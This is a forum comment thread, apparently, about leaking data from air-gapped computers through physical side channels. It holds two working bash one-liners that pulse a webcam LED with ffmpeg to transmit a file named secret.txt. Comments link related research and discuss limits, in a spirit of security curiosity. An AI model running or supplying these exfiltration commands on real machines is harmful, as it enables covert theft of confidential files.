by marcan_42 · 5y ago · 0 comments
So:
xxd -c 1 -p secret.txt | while read a; do for b in ${a:0:1} ${a:1:1}; do ffmpeg -y -f v4l2 -i /dev/video0 -t $((0x$b)) -f rawvideo /dev/null ; done; done
That leaks a file via the camera LED, PWMing it at 4 bits per pulse (16 different pulse widths), tested on my iMac. Can I get a paper now? :-)
I created one that takes a mere 14 minutes to transmit 'hello' using a cd drive's movement: https://www.anfractuosity.com/projects/cditter/
Using (security) camera LEDs was already done:
* https://arxiv.org/abs/1709.05742
:)
Here's an alternative way to pass the bytes to ffmpeg, using hexdump (does not require vim) and `read -n1` (works in bash, but not in zsh):
hexdump -v -e '1/1 "%02x"' secret.txt | while read -n1 b; do ffmpeg -y -f v4l2 -i /dev/video0 -t $((0x$b)) -f rawvideo /dev/null; done
That might work in a noisy environment, but it draws attention visually, which might not be great. Also, (1) users tend to cover their cameras with tape or post-its, (2) why would a super secure endpoint have a camera if it wouldn't be on the network, (3) slight chance of being noticed on external/detached security webcam.